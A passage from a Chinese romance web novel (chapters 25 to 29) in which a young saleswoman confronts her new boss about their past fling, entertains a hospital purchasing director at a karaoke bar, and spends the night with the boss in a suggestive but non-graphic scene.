车内气氛凝重得像被冰封的地窖,偏手脚心一股一股地往外冒热气,让人烦躁。
徐进随林早坐在了后排,全车上貌似只有他未受影响,甚至伸着脖子凑向前,倚着副驾驶的椅背,一双看稀奇的眼睛发着光似的,“原来
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你就是那个声音甜甜的妹子啊,我说怎么听着有点耳熟呢。咱可真有缘。”
辛熙侧着身子礼貌回应,“哈!是啊,好巧。原来那天接电话的是你呀!”
难怪没有听出来,哎!
徐进解释:“他家老太太最近给他介绍了好几个相亲对象,他不想理人家,但又架不住老人家的一片关心,所以我这做兄弟的,自然是责无旁贷,只能舍己为人了。妹子,那天不是约好一起吃饭的嘛?难得大家这么有缘,择日不如撞......诶!”
嘭地一声,车子忽然一个急刹,徐进结结实实地撞在了副驾驶的椅背上,姜渠的不悦也从内后视镜里扔过来,直接砸给了他。
徐进摸摸鼻子,也不恼,嘿嘿一笑,坐了回去。
帮忙相亲,难不成以后结婚你也替他?
辛熙吐槽的话,只敢在心底想想,可姜渠却像是能听见她心声似的,那眼神又拐了个弯睇到她眼门前。
辛熙立马坐直身,装作心无旁骛,目视前方。
将林早送到后,徐进一起下了车,还没等人回来,姜渠已经回到驾驶室,发动了车子。
“我们不等他吗?”
“等他干嘛?要一起吃饭?”姜渠推开副驾驶的车门,示意她上车,“在去和别的男人吃饭之前,我们还有话没说清楚,未婚妻!”
辛熙挤出一个尴尬地笑容,但秉着不破不立的态度,气势轩昂地坐上了车,“都是误会,机缘巧合的误会,您应该能理解哈?”
“那就先把什么机缘什么巧合说清楚,直到我理解。”
姜渠直接将车开进了一所私房菜馆,老板见是熟人,并没有过分热络,打了个招呼,就去备菜了。
环境清幽,私密性也好,确实适合谈事情。
辛熙准备了一路的腹稿,条理清晰且有理有据,自信一定可以将此事化于无形,想清楚后她就不太担心了,毕竟自己也没啥大错。
至多......算是好心办坏事?
姜渠给她添了一杯茶,“这是老板自己家的茶山产的,尝尝看。”
辛熙可真佩服他,如此沉得住气,这个时候还能按捺住不问,不像自己,哪儿还有心思品茶,敷衍着抿了一口,生怕断了思路。
“好喝吗?”
“好喝,唇齿留香。”
“好喝就行”,姜渠又再给她添满,忽又说了一句,“今天就不让你喝酒了”。
“嗯嗯,明白”,辛熙顺口应着。忽又反应过来,明白什么了?干嘛不让我喝酒?不是,我干嘛要喝酒?说得好像我是什么酗酒的酒鬼吗?
“所以你叫我姥姥......阿姨?”
咳咳,辛熙呛了一口茶,立马堆起笑,有句老话讲的伸手不打笑脸人,咱得先把表情摆好,“我也是没想到啊,英姨,哦,您姥姥,看着这么年轻,竟然有您这么个大孙子嘞。”
说完,又觉得语气是不是过于戏谑,以致于有些冒昧了?辛熙动着脑筋找补,“我的意思是,你们家基因真好,显年轻,嘿~”
姜渠似乎认可了这种解释,并没有追问,指节摩挲着杯沿,又问起另一个话题,“那么,我就是那个,不会做业务,只会摆架子,作风有问题、加班不给加班费,还贪财好色、睚眦必报,并且和你八字不合的黑心老板?”
姜渠说这一串形容词时的语气,平静得就像在点菜,可辛熙却觉得自己现在正被架在十大酷刑前严刑逼供。
怎么忘了这茬?
26. 第 26 章
事情倒似乎......真的......可能......有这么个事情。
辛熙近段时间的工作都很忙,黎英每次见她很晚回来,都会替她鸣不平,“还外企呢,我看是什么歪企吧,公司就你一个人干,是不?你那个喜欢攒局喝酒的领导呢?”甚至问过她,“要不换个工作吧?姜姜现在在公司好像大小也是个什么领导,我帮你问问他,看他能不能把你弄到他们公司去。”
辛熙自然解释过,“我刚接手业务上的事情还有很多不懂的需要学习,领导自然有领导要忙的事。再说,他不在公司,我还自在些呢。”
只是她没想到,黎英真的去问了,甚至为了勾起姜渠的怜悯心,夸大了她的一些描述,“听说,还骚扰女下属呢,辛辛现在都不敢单独和他待一个办公室。”
“我想我当时吐槽的应该是我上一家公司的领导,肯定不是您啊。”
“我看过你的简历,你是大四参加校招会进的麦高。”
“是么?我说的是我大学做兼职时候遇到的那个快餐店老板,人可坏了。我这人记性不好,有时候可能会张冠李戴,表达不准的。”
“你记性是挺不好的。”
这对话怎么有点耳熟?辛熙暂时想不起来,“但我记得,姜总,你不是说你认识我的时候,有女朋友吗?你干嘛骗我!害得我负罪感那么久!”
“那我现在告诉你,那时候、以及现在,我都没有女朋友,你想说什么?”
你想说什么?在久别重逢之时。
姜渠并没有得到回答,服务员来上菜,她顺势装聋作哑。
辛熙不知道该怎么回答。
她的勇气丢在了川西的高原上,随融化的雪水在四千多米的高地化于无形。
她不叫瑞拉,不是那个昂扬的、蓬勃的,自由而热烈的人,更不是那个可以不顾一切“把每天当成是末日来相爱”的人。
社会生活里的辛熙守着秩序、规矩,她自小听话懂事,从不越雷池,当然也从不认为这有什么不对。可那次遇见姜渠,真是鬼迷了眼,色迷了心,脑海里全是些不管天不管地、不管昨天明日的荒唐梦。
那天他问她叫什么,她随口编了一个“瑞拉”,却仿佛打开了新世界的大门,谎言越滚越多,却越来越过瘾。
有了“瑞拉”这个马甲,她的一切行为都有了替罪羊,仿佛那些越轨的行为都和“辛熙”是无关的。
作为一个“畏罪潜逃”的元凶,辛熙还没有做好认罪伏法的准备。
承认自己的卑劣尚需要勇气,辛熙再度想一逃了之。
车子刚在清溪公园的门口停下,她便迫不及待地解开安全带,准备跑路。哪知旁边的人以惊人的速度和力量倾身过来,占有压倒性的优势,一只胳膊抢人,一只手臂关门,动作一气呵成。
辛熙被迫紧贴着椅背,尚未反应过来,安全带就又被姜渠按回了锁扣,霎那间恢复原样,仿佛刚才什么都没有发生,除了那汹涌而来又骤然远去的木质香味,迷惑着人,神思不清。
短暂的平复后,姜渠开口了,“所以答案是什么?”
“什么?”辛熙尚未冷静下来,下意识地反问。在刚才的拉扯中,他率先跨了一步过来,长腿压制住她的,她隔着布料都能感觉到密实的肌肉下贲张的力量,那种力量极具诱惑力。真是要疯了,但在姜渠的眼神威压下又吞吞吐吐地不敢装傻,“哦,您说您那时候没有女朋友。”
“嗯。”
“那您没有,我也没有啊。”
“所以?”
“所以......咱们扯平了啊。”
互相都没有道德的枷锁,兴之所至,各取所需,然后桥归桥路归路,多好啊,是吧?
辛熙并没有从姜渠的表情里得到赞同,琢磨着,“还有,就是我得向您道个歉,之前说了不太礼貌的话,不好意思。”
“就这样?”
不然呢?
“你不觉得你欠我什么一个解释吗?”
“那您是想要追责吗?可,可我......我也没强,强迫您啊”,辛熙的声音越说越小,“您、我,我俩单身,且健康,然后.......嗯,各取所需后发生了些你情我愿的事情,然后好聚好散,应该是互不相欠吧。”
“你管不辞而别叫好聚好散?”
车内没有开灯,辛熙看不清他的表情,只有汽车车灯如走马灯似的一茬接一茬地映照过来,隐晦地展示着车的轮廓和内饰。
辛熙看到姜渠将头转向了自己,深邃的轮廓被黑暗模糊掉边界,那一刻,她竟然觉得他有些悲伤的。姜渠左手搭在方向盘上,右手自然地垂落,凝视着她,“为什么骗我你叫瑞拉?”
“就,顺口胡诌的。”
“因为你觉得咱们萍水相逢,没有必要告诉真实信息?”
“我一个女孩子出门在外,有点防备心,总是没错的吧。”
“那之后呢?你又觉得反正咱们是露水情缘,各取所需,怕告知了真实信息,会给现实生活带来困扰?或者说,怕我纠缠不休?”
“没,没有,那倒没有”,辛熙连声否认,她还不至于自恋到认为自己会被他纠缠。准确的说,她只是为了更彻底地沉浸其中,而不被时常冒出来的唯属于“辛熙”的胆怯吓退,“我只是,以为没有必要。”
车内又恢复至一开始的静默,即便外面车流如织,车声轰隆,依然无法将车内的诡异的安静驱散。
许久之后,她才听到车锁被解开的声音。
“下车吧。”
辛熙打开车门,一股热浪如波涛般涌来,毛孔大张。姜渠并没有立马将车子开走,辛熙并没有立即拐弯。他们隔着车窗,目光没有对焦。
辛熙想起了那天,她坐着姜渠的车到了亚曲喀县,姜渠在小城的中心广场停下车,告诉她,“这里旁边就是县政府,很安全。我的同事联系上了大巴司机,他会到这里来接你。”
辛熙只能下了车,可却又被什么驱使着,鬼使神差地撑着车门,问:“那你要去哪里?”
又关自己什么事呢。话问出口的时候,她都觉得自己陌生。
姜渠举起自己被简单包扎的手臂,唇角微扬,那表情,好像在哄不懂事的小朋友。他手臂上的伤口很深,需要打破伤风,县城上的卫生院在老城区,还没搬到新区。
“那我也去。”
“为什么?”
“我心脏有些不舒服,不知道是不是因为高反。”这并不算是撒谎,她的心脏确实不太正常,但那并不是病理性的。
姜渠看着她,嘴角的笑意若有似无,好像快要将她看穿,但辛熙不知道他当时在想什么,只听见他说,“上车吧。”
上车吧,下车吧,就好像在说,开始吧,结束了。
辛熙失眠了一整夜,然后买了最早班去津南的车票。
先让自己忙起来,然后才能从理不清的心绪里,找到诚实的自己。
她需要这样的忙碌。
辛熙买了冰啤酒和西瓜,坐在津南的短租屋里,盛夏的傍晚有绚烂的晚霞。
电脑忽然弹出视频通话,是何耀丹,她现在算是辛熙的师傅。
“抱歉啊,刚被姜总叫去聊了点事情,才看到你的消息。我想着
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,语音解答快一些,懒得敲字了。”
“好的,给你添麻烦了。”
“没事儿,我先看一下你的问题哈。第一个,如果客户没有远程连接,我们如何判断设备使用率。那你先告诉我,你能想到的方法是什么?”
“嗯......从相关科室的老师那里获取。”
“这确实是最直接的。可如果这家客户就是不愿意告诉你呢?”
“嗯......那就只能用最笨的办法,自己去科室外蹲守,数数好了。”
“那什么时间去看到的数据最具参考性呢?你总不能把时间都耗在做基础的调研上,否则你的成长速度会非常缓慢。”
这也是辛熙在津南待的这段时间里最大的困扰,她知道自己在做的事情是有价值的,但价值也是有限的。
何耀丹留了时间给辛熙思考,她是一位非常好的导师,不会直接告诉你答案,而是教你思考的逻辑,抽丝剥茧地引导你自己找到答案。
辛熙想到了答案,她的答案也得到了何耀丹的认可,“你很聪明,辛熙。虽然姜总一直说你不适合做销售,但我不这样认为,你有你的敏锐度。”
“谢谢。那我的第二个问题是......”
视频对面的何耀丹却忽然站起身,取下耳机,摄像头被她白色的格子裙遮挡成黑白琴键,随后画面里出现了姜渠的声音,他在对何耀丹说话,“你改的新方案我看了,我认为可行。市场上医学影像设备人均保有量还很低,有巨大的增长潜力,所以设备的更新迭代需求依然会很高。依靠AI赋能,数字医工等技术手段完成医疗卫生机构的信息化设施迭代升级,也必然是趋势。”
“是的,而且基于麦高目前的业务布局和存量装机基础,我们完全有能力先一步完成远程诊疗的装备更新改造。”
“好,装机和技术升级的事情,我会去牵头,找各个职能部门聊。”
“谢谢姜总的支持。”
“应该是我谢谢何工。”
辛熙透过屏幕感觉到了何耀丹的喜悦,那种被认可、被支持的满足感,然后她听到何耀丹叫住了姜渠,同时因为何耀丹往前走了几步,摄像头的可视范围被放开,辛熙在画面里看到了姜渠,简单的白T配灰色西装裤,既商务又休闲。
何耀丹站在他面前,说:“姜总,来销售部这么久,还没有机会和您一起吃个饭呢。主要,新方案还有些不成熟的地方,想请领导指点一下。”
她的理由十分正当,但辛熙还是觉得她紧张,因为那双背在身后的双手反复揉搓。果然,再强悍的人,面对不确定,都会忐忑。
好在,姜渠十分坦然地接受,“好啊,那就今晚上。地方你选,我买单。”
辛熙跟着松了一口气,心里悬着的石头“啪叽”落了地。
就好像自己在追什么连续剧,剧里的CP终于发糖了?
什么鬼!
辛熙觉得有些烦躁,顺手打开了放在旁边的冰啤酒,刚送到嘴边,就见姜渠眼神冷淡地扫过来,隔着屏幕,那么远的距离,也不知道看见自己没?却还是心虚地赶紧将啤酒丢到一旁。
听见姜渠问何耀丹,“在忙?”
“帮辛熙解答几个问题,快结束了。”
“费心了。”
姜渠那头刚走开,这边辛熙的手机上就收到一条微信:上班时间,不许喝酒。
辛熙:我没喝酒,那是饮料。
姜渠:照片拍来我看下。
歇了一会儿没有得到回复,又追过来一句:在伪造证据?
辛熙在网上搜图的动作僵停在了那里。
27. 第 27 章
何耀丹回到了电脑前,“抱歉啊,耽误了一会儿。”
辛熙放下手机,称:“没关系。你要是忙的话,我可以晚点再来问你,反正也不急。”
“今日事今日毕。我可不喜欢把问题留过夜。”
“那你......”
何耀丹恍然,似乎才意识到她刚才听到了他们的谈话,笑容里多了些深意和羞涩,“你刚才听到了?我忘关语音了吗?嗨!你可别多想啊,我纯粹是为了答谢姜总的知遇之恩。”
或许是为了增加这句话的可信度,何耀丹又解释了下,为什么姜渠算是她的伯乐。
几个月前,何耀丹还在向良才手下时,两个人就几乎已经水火不容。
向良才有技术但做事按部就班,又将权利看得过重,喜欢底下人绝对的服从。偏来了个何耀丹,喜欢钻研前沿技术,又不懂职场政治,几次在会上挑战他的权威。所以后来,何耀丹做的技术革新方案,他看也没看,直接否了。
何耀丹哪肯放弃,直接越过向良才递给了集团VP—司徒。司徒总管理出身,对技术并不在行,向良才几句话就将何耀丹的新方案批判的一无是处。且越级汇报犯了管理者的大忌,司徒总当下就要给何耀丹降级处理。
那天,正好遇到姜渠走马上任,就在司徒总的办公室里看到了何耀丹的新方案,虽然有些地方过于理想化,但方案里涉及到的新兴技术是非常具有前瞻性、先导性的。
姜渠直言,“司徒总,我个人建议,这位何工不但不应该被降级,反而应该给予嘉奖。麦高这些年太过求稳了。从当前趋势看,外资企业在中低端领域的优势正在被国产所替代,如果我们还不能提前完成高端设备的信息化技术更新迭代,适应全面国产化,那你高薪聘请我来的初衷,其实也失去了意义。”
何耀丹说到这儿,声音有些哽咽。
辛熙是羡慕她的。羡慕她对自己的高度认同。她的越级汇报绝不是莽撞冲动或者故意表现,而是她坚信自己就是对的,且不愿意屈从于员工守则上拟定的逐级汇报规则。
她是可以打破规则,然后重塑的人。
“说到这儿,还得谢谢你。我记得那天,就是你在我前面挡了一下吧。不然老向那茶杯......呵呵。对了,事后也忘了问你,你没受伤吧?”
“没,当时有个同事拉了我一把来着。”
至于是谁,她没太有印象了,只记得个子很高,手劲儿很大。
她那天是去交项目结案书的,结果刚走到交付团队的办公区域,就看见向良才和何耀丹拍着桌子大吵。部门内的同事个个尖着耳朵偷听,但也没一个真正上去劝的,所以在向良才摔杯子的时候,才只有一个没摸清状况的辛熙凑了上去。
她着急啊,结案书得在下班之前交上去,就只差向良才的签字了。
结果咧,字没签成,结案书就被她伸出去挡了茶杯,英勇就义了。
“等等,你是说,姜总那天也在办公室?”
“对啊,你没看见他吗?”
“我,应该没吧。”
如果姜渠那天就来过公司的话,算算时间,应该是在他俩川西相遇之前。那他会不会早见过自己?那自己之前解释说不是故意接近他的,岂不是此地无银三百两了?
我勒个去!
辛熙再一次被这件事情绊住,拿起桌上的冰啤酒大口灌了进去,看到手机来电提醒,才想起晚上有约,急急忙忙地收拾一番,打了个车过去。
人是江准介绍的,知道她在津南跑业务,给她介绍了一家私立医院的集团采购主任。
来接她的人是肖楠,辛熙刚一下车,她已经在KTV门口等着了,“准哥今晚有事情过不来,专门叫我从京北赶过来陪你。”
“啊,那太添麻烦了。”
“多大点事儿,我们本来就和百睦医疗有合作”,肖楠自来熟地挽起辛熙的胳膊,“上回在火车上见着你,就想多跟你认识认识。”
“上回确实太赶了,不过能认识你们,我也很开心。”
“那等回京北,咱们找时间多聚聚啊。”
“行啊。”
“准哥肯定得开心坏了,我跟你说啊,上回我们去渝南......”
“聊什么呢,这么开心”,KTV包房的门被人推开,一个长发微卷的女士朝着肖楠嗔怪道,“吴主任可在里面等好久了。楠楠,我跟你说,吴主任是看着我的面子上才来的,你可别把人得罪了,知道吗?”
“知道,知道,放心吧,芃芃姐”,肖楠将辛熙拉过去,介绍道:“这位就是我跟你说过的,麦高的辛熙。”
“您好,芃芃姐。”
黎芃的目光带着几分打量落到了辛熙身上,“你好,原来是个小美女啊,进去吧。”
肖楠拉着辛熙落在后面,给她介绍,“芃芃姐是百睦医院的心内科主任,我们这次也是拖她的关系才联系到采购中心吴主任的。你待会儿也别太紧张,明面上就是朋友聚会,你借机刷刷脸,改日去医院拜访的时候,自然就水到渠成了。”
“明白”,辛熙壮志满满。
话,辛熙倒是都听进去了。
朋友聚会嘛,开心最重要。
喝点小酒?可以!
玩点游戏?开心!
只是谁都没料到,这才没多久,辛熙已经和这吴主任称兄道弟,聊起了国际形势。
“美沙安保协议终于确认不续签了,美元霸权的局面将一去不复返。”
“那漂亮国称霸世界的三条腿,岂不是折了一只。”
吴道光眼中露出欣赏的目光,“小姑娘也爱看这些?”
“我爸爱看,有时候喝了点酒,就好给我们科普”,辛熙说完,目光落回桌面的酒瓶上,“吴大哥,我再敬您一个,您再给我讲讲,他们为啥不续签了,下回和我爸通电话的时候,我也跟他说道说道。”
吴道光饮了一杯啤酒下肚,笑说:“到我这儿来上课外兴趣班了吧。”
“嘿嘿,那我再走一个”,辛熙又敬了一个。
吴道光这才慢慢悠悠开启了他的评说,“这时间久了,夫妻感情都得淡,更何况,美沙这纯利益捆绑,不就是一个嫌他不中用了,无利可图了;一个嫌他没像之前承诺的那样护着自己了,寻思着换个年轻力壮的......”
他那调调,让辛熙想到了爷爷最爱看的曲苑杂坛。
包房内的其他人唱歌的唱歌,拼酒的拼酒,肖楠陪着黎芃坐在沙发另一头,向她敬了一杯酒,“芃芃姐,准哥让我替他谢谢您。”
今天这局,确实是看在江准的面子上组的,黎芃摆摆手,“在我这儿,不兴这些。江准今儿不来,是躲我么?”
“您看您说哪儿的话。准哥在盯着团队小伙伴做季度末最后的盘库呢,没有他压场啊,我们公司那些人得翻天上去。”
黎芃苦笑,但也没再追问,只盯着不远处的辛熙,叹了一句:“还是年轻好啊。”
年轻人在摸着石头过河,姿势必定很难优雅,可走到对岸的人回头一看
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,那个张牙舞爪、四处碰壁的自己是如此地鲜活。
黎芃有些倦了,给近处的手下人叮嘱了一句,“我有些累了,先回去。你们待会儿务必把吴主任好好送到家。”
那人见吴道光正和辛熙两个人肩靠肩地聊得起劲儿,一脸揶揄的笑,“我怕人吴主任今晚不想回自己家了。”
黎芃眉心一皱,“回医院,别乱说。”
吴道光瞥见黎芃要走,摇摇晃晃地起身,喊她,“黎主任,这就要走了?”
“是啊,家里孩子闹,得我哄着睡。”
“那是得回了”,吴道光想了想,“要不,咱都回吧?”
有几个年轻的还没尽兴,吵着,“这时间还早,再玩玩吧。”
黎芃也不想因为自己扫了年轻人的兴,劝道:“就是,你啊,再陪他们几个年轻的玩玩儿,反正你孤家寡人一个,回去那么早干嘛。”
吴道光拍了拍自己啤酒肚,“算了。我在这儿他们也玩不痛快。你们年轻人自己留下来玩儿吧。”
说完,就去拿放在沙发上的手提包,辛熙赶紧眼疾手快地递上去。
吴道光朝她笑笑,“小姑娘,等下回我再来跟你聊聊这俄乌冲突和巴以冲突啊。”
“好咧,好咧,谢谢大哥。”
辛熙和肖楠陪着将他们各自送上车,也都没了唱歌的兴趣。
告别肖楠,辛熙坐上了出租车。
夜风吹散了几分酒意,怂人没了胆量,才想起自己先前的苦恼,要不要和姜渠再解释一次,自己真的没有故意接近?
解释吧。可那天在清溪公园门口,似乎就已经将此事做了一个终结,如果再提起,倒显得自己故意纠缠了。
不解释吧。如果他真以为自己在川西时就知道他是公司大领导,那岂不是有故意勾引的嫌疑了。
一阵手机铃音在安静的车内响起,辛熙陷入深思,没有反应,还是被司机提醒,才慌乱从小包里掏出手机,真是想谁来谁,辛熙清了清嗓子,按下接听键,恭恭敬敬地,“您好,姜总。”
“去哪儿了?”
“嗯?我,我刚见完客户”,酒精让她的脑袋反应有些迟钝,片刻之后才又想起补充,“我在津南出差啊。”
“喝酒了?”
“没”,辛熙赶紧捂住嘴,生怕这酒味儿通过网络信号串过去了。
谁料,出租车刚好抵达目的地,司机师傅的热心叮嘱出卖了她,“妹儿啊,女孩子晚上可不要喝这么多酒啊,不安全。”
“谢谢,谢谢”,辛熙掩耳盗铃般,捂住听筒,一边开车门,一边小声感谢。
车门被人从外面拉开,一只手掌搭在门框以免碰头,辛熙侧着身子拿包包,心想着现在这快车司机的服务都赶上专车了?连忙又道了几句谢,然后就听到头顶上方和手机听筒里同时传来一句,“真没喝?”
“姜,姜总”,辛熙僵在了原地。
司机师傅这才放心地开走,“行,有人来接就行。”
“您怎么在这儿?”
姜渠的目光落到她红彤彤的脸颊上,微微拧眉,“你这叫没喝酒?”
“陪客户嘛,总得喝点儿”,带着酒气的话,不自觉就带着点江湖气。
“谁教你的,做业务就一定得喝酒?”
“喝点怎么了,我大哥开心就行。”
“大哥?”
“嗯”,辛熙一脸骄傲,“江准今天给我介绍了个百睦医疗的采购中心主任,嘿嘿,百睦耶。”
可骄傲了。
28. 第 28 章
正巧这时,手机又响起来,是江准。辛熙下意识地一手捂住姜渠的嘴,一手接起电话,完全没注意到被自己挡住的那张脸上,表情是如何地猝然变冷。
江准说:“辛熙。我听肖楠说你们结束了,算着时间,你应该到家了吧?”
“到了,到了,今天真是谢谢你和肖楠了。”
“能帮到你就好。吴主任这个人挺好的,就是有时候喝多了爱侃些天南地北的。听肖楠说,你们聊得挺愉快的?”
“嗯,嗯。”
“他从高熙医疗出来的,很有个人风格。虽然圈子里对他有些传言,但......”
江准说这些话的时候,姜渠一直在和辛熙的手较劲,刚要发声,又被捂住,如此反复,干脆恶作剧了咬了上去,吓得辛熙急忙收回了手,不可置信地瞪着眼。
手掌边缘残留着温润潮湿的触感,带着轻微的刺痛,配上这撩人的夜色,辛熙有些心乱,着急地往后退,寻找安全位置。细高跟却十分不懂事地卡进了井盖,身子往边上一歪,惊呼出声,还好腰间被一道力量及时搂住,心神意乱又因为这趟惊慌的小意外更加失控。
辛熙推了推身前如同一面墙壁一样坚实的胸膛,偏姿势不稳,刚推开,又险些摔了,不得不主动环住了他的手臂,两个人几乎脸贴着脸。
“怎么了?”听筒里传来了江准关切的声音。
辛熙赶紧解释,“没事,崴了一下。”
“没受伤吧?”
“没......唔......”
脚踝处忽然被包裹,男人宽大厚实的手掌在深夜里发烫,辛熙赶紧挂断电话,刚才的那一声实在太容易让人想入非非。
“你干嘛?”辛熙凝视着微微弓背的男人,略带防备。
姜渠并没有理会,动作连贯地将她的脚从鞋子里拔出来,又再让她赤脚踩在自己的鞋背上,而后继续和那只倒霉的小高跟较劲,没两下就拔了出来,才回她:“你以为我想干什么?”
这该死的男人,该死的性感。
该死的夜晚,该死的酒精,惹人躁动。辛熙依然保持着踩着他脚背的姿势,顺势垫脚,凑近,在男人的红唇上小鸡啄米似的一触,问:“是这个吗?”
语音绵绵勾成丝,电光火石的一碰,多巴胺和内啡肽在身体瞬时迸发,就像夜空中绽放的烟花。
无人经过的街巷,醉酒的姑娘丧失理智,有些紧张地抓着他的白T,又拉近,她在他的瞳孔里看到了面目不清的自己,然后又陡然被放大到了无限。
姜渠圈着她的腰身,感觉到她最近真的瘦了很多,甚至觉得自己稍一用力就能将她拦腰折断,搂腰的手尝试着卸力,却在每一次唇舌的碰撞间愈发失控,几度想要将两副身子碾碎再糅合到一处。
忘了时间,也忘了身处何地。
马路上偶有车辆飞驰而过,都像在急匆匆地赶赴一场期待已久的约会。
辛熙微闭着眼,睫毛轻颤着,打开牢笼放出心底的巨兽,坦诚地接受一次又一次的掠夺。一盏车灯照过来,姜渠察觉了她的异样,微微放开。唇上的忽然落空,辛熙下意识地追过去,对上他打量的目光,眼神不解又缱绻。
还不够,却不得不停下来,问他,“怎么了?”
“酒醒了吗?”
欲望像海潮退却,只留下一滩绵密黏湿的痕迹,辛熙开始不解,很快又反应过来,他这是以为自己喝多了,头脑不清楚?
辛熙有些委屈,委屈得想哭。但酒确实喝了不少,好像也怪不着别人多想,于是又将委屈强压着,不说话,任凭姜渠帮她穿好鞋子。
两个人相安无事,平心静气地走回了她租的小单间,虽然她原本设想了另一种方式。
真是个煞风景的男人,辛熙在心底骂了两句。
但等走到门口时,辛熙接过姜渠手里的小包,关门前还是不忘客气地道了声谢谢,“这么晚了,您回去注意安全。”
辛熙关上门,没有开灯。她径直脱了鞋,光着脚往沙发上去,刚才旖旎的画面一遍遍在脑中回放,有些懊恼自己的冲动,又对美好的事物未能长久而本能地心觉遗憾。
不是啊,刚怎么就,就吻上去了呢?
嗯......但体验感真好啊,这男人啊。
不是,关键时刻,问我酒醒了吗?怎么地,我酒醒没醒,影响我发挥了吗?
吼~
辛熙自言自语,甚至骂骂咧咧地往淋浴间去,洗到一半,脑子是彻底清醒了,反应也快了,才想起来,这人大晚上的为什么会出现这里?
于是又胡乱地冲干净,裹着浴巾去门厅处的小包里翻手机,问我“酒醒了吗”,我倒要问问看,他干嘛来的。
或许是酒精麻醉神经的后遗症,也或许是因为刚才那场热吻太过引人遐想,总之,辛熙也觉得“不应该把问题留过夜。”
手机拨出去的时候,一铃音却是在门外响起来的,寂静的夜里,悠扬的曲调格外清晰。
他没有接起,也没有按断,就像在和什么较劲。
辛熙鬼使神差地打开了门,走廊灯随之一亮,高大的身子裹挟着热浪翻涌进来。男人的吻落在耳珠,轻轻一舔,就红透透地了。人被抵在门后,局促的空间根本容不得多余的心思,他的声音有扰人心魄的魔力,在耳边沉吟:“为什么开门?”
“这边隔音不好,我怕,怕你吵着邻居。”
随之而来的,是更狂风暴雨般地攻城掠地。
如此风光,男人早不甘于浅尝。姜渠作势将她横抱而起,“那你待会儿小声一点。”
辛熙根本来不及思考,生理上的渴望早就战胜了她精神上奉行的规矩。
如同在川西那次,类似献祭一般将自己双手奉上,搂着他的脖颈,褪下所有阻隔的外物,只想要与之更为紧密地贴合和索求。
姜渠不知道她在房间里干了什么,但刚才那阻隔在两人之间的让人迷醉的酒味早已没了,代替的是淡淡香甜的沐浴露味道。她的身上、房间里全都是这种味道,姜渠觉得这味道比酒精更让人神魂颠倒。
辛熙觉得自己的酒早该醒了,可为什么现在更昏昏沉沉了?
她只能在黑暗里,借着窗户外透进来的光,一遍遍探索疯狂的边界。
有时候,她会闭上眼睛,有时候又会去看窗外,但每一次姜渠发现她走神,都会将她板正,一遍遍说,“看着我,记着我。”
他让她叫自己的名字,又一遍遍地问“那你是谁”,若得不到回答,他便会停下来,任凭那股蓬勃之力停在她身体里,似乎触手可及却又求而不得,想要不能要,直到她服软,才继续。
反反复复,直至筋疲力尽。
过程中,她一直被引领。
辛熙产生过许多念头,例如,明天该如何面对?他俩这算是什么关系?关于他今天为什么会出现还没得到答案?要怎么跟英姨解释?还有何耀丹?但所有的念头都被更为极致愉悦地体验感抛诸脑后。
突然就理解了古书上写的“牡丹花下死做鬼也风流”,辛熙当然不想死,但她愿意沉溺其中。
第二
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日清晨,窗外的阳光拱着热气将她唤醒,同样炽热的还有旁边躺着的那个男人。
满室狼藉,一夜的癫狂,都在阳光下被曝光,属于辛熙的那点胆怯开始后知后觉地发芽。她起身,轻轻拿开横置在胸前的手臂,蹑手蹑脚地男人的身上越过去,谁知一只刚脚落了地,一只脚就被抓住。
姜渠显然是创伤后遗症,第一反应是这女人又要逃跑,不由分说地抓着脚踝往床上带。
刚醒来的眼睛里有红血丝,这让他看上去十分令人心疼,虽然话没说出口,但那眼神已经完全暴露了自己。
辛熙嗫声解释,“阳光太刺眼了,我去关下窗帘。”
真的是这样么?
真的,我发誓。
两个人就这么无声地僵持着。
握着脚踝的手,开始变得不安分,自下而上,将她的敏感点一一点起,辛熙步步后退,退至床头,退无可退,抓住最后一丝理智叫了停,“不行,我今天约了客户。”
姜渠还是拉着人耳鬓厮磨了好一会儿,才肯放过。
即便昨天已经和他有了超越人体极限的相交,辛熙仍然不好意思在他面前赤身裸体,手忙脚乱地抱着衣服跑去了洗手间。
看着镜子中一脸餍足的红晕,上面却全是残妆,也不知道这男人怎么吻得下去?
辛熙用冷水拍了拍脸,试图让自己冷静。等再收拾好出去的时候,姜渠已经坐在餐桌前,安安静静地吃饭。
他吃饭时一向认真,不像辛熙,不抱着手机就食不下咽。
“过来吃饭。冰箱里只有这些了,今天先将就一下。”倒有点反客为主了。
辛熙踱步过去。经过昨晚,她已经完全认清自己,就是一个有色心,但色胆时有时无的人。
此时此刻,此情此景,她还无法做到自如面对。
在她的理智的有关两性关系的畅想里,认为一男一女应该先从相识,互相吸引,而后相知,相处一段时间,再在一个风轻云淡的美妙时分袒露心意,再一步步牵手、接吻,水到渠成地拥有彼此。
很显然,她和姜渠不是。他们直接略过了中间的诸多步骤,水没流到,沟渠就深了。
好吧,虽然是她主动越过去了,倒也怪不了别人。
辛熙想,这个问题不解决是不行了,毕竟一而再,或许哪天就再而三了。于是试探着问他:“姜总,我们是不是得,得聊一下?”
姜渠听到这个称呼的时候,眉心下意识的一皱,再看那表情,认真得就跟在公司开会一样。
抛开个人的情感不谈,作为上司,姜渠还是认可她的,至少每一次开会,她都在认真地听。与她工作有关的、无关的,只要有人在说,只要她手上没有着急处理的事情,她都会认认真真地听。
有一次无意间听到施琪和她聊起这个,她说:“别人说的我要是不懂,那就得多听多学。别人说的我要是懂了,那我可不得赶紧多给人家一些反馈。”
姜渠问:“现在吗?”
昂~辛熙心跳漏了一拍,“不行吗?”
“可以”,姜渠已经用完餐,擦了擦嘴,正面朝向她,“你需要边吃边说吗?”
辛熙确实饿了,但她一紧张就吃不下东西,于是三两口将桌上的热牛奶喝了,然后也以同样的姿势面向他。
等了一会儿,没见他开口,便自己先说了,“我看网上或者电视剧里啊,在事后,都得找机会把话说清楚,不然容易牵扯不清。我俩现在又在同一个公司,这上司下属的传出去,很容易成为桃色新闻的。”
29. 第 29 章
姜渠很欣慰,终于知道得说清楚了。
可刚听了开头就料感不好,这是又要撇清关系,说什么男欢女爱乃人之常情,然后理直气壮地划定楚河汉界了?好了嘛,吃干抹净了就不想认账了啊。
姜渠在心底暗骂了一句,翻出手机问她:“昨天为什么要给我发这些信息解释?”
什么信息?辛熙一脸懵,凑近去看,全然忘了自己是什么时候给他发的了。
白色的聊天框真的是字字诛心。
【我俩认识的时候,您是不是知道我是麦高的员工?
啊!但如果我说,我那时候不认识您,您觉得合理不?
哭脸!
我发誓,我是真不认识您,虽然那时候您的任命通知已经发了,可我就是没看到啊。
哭脸!
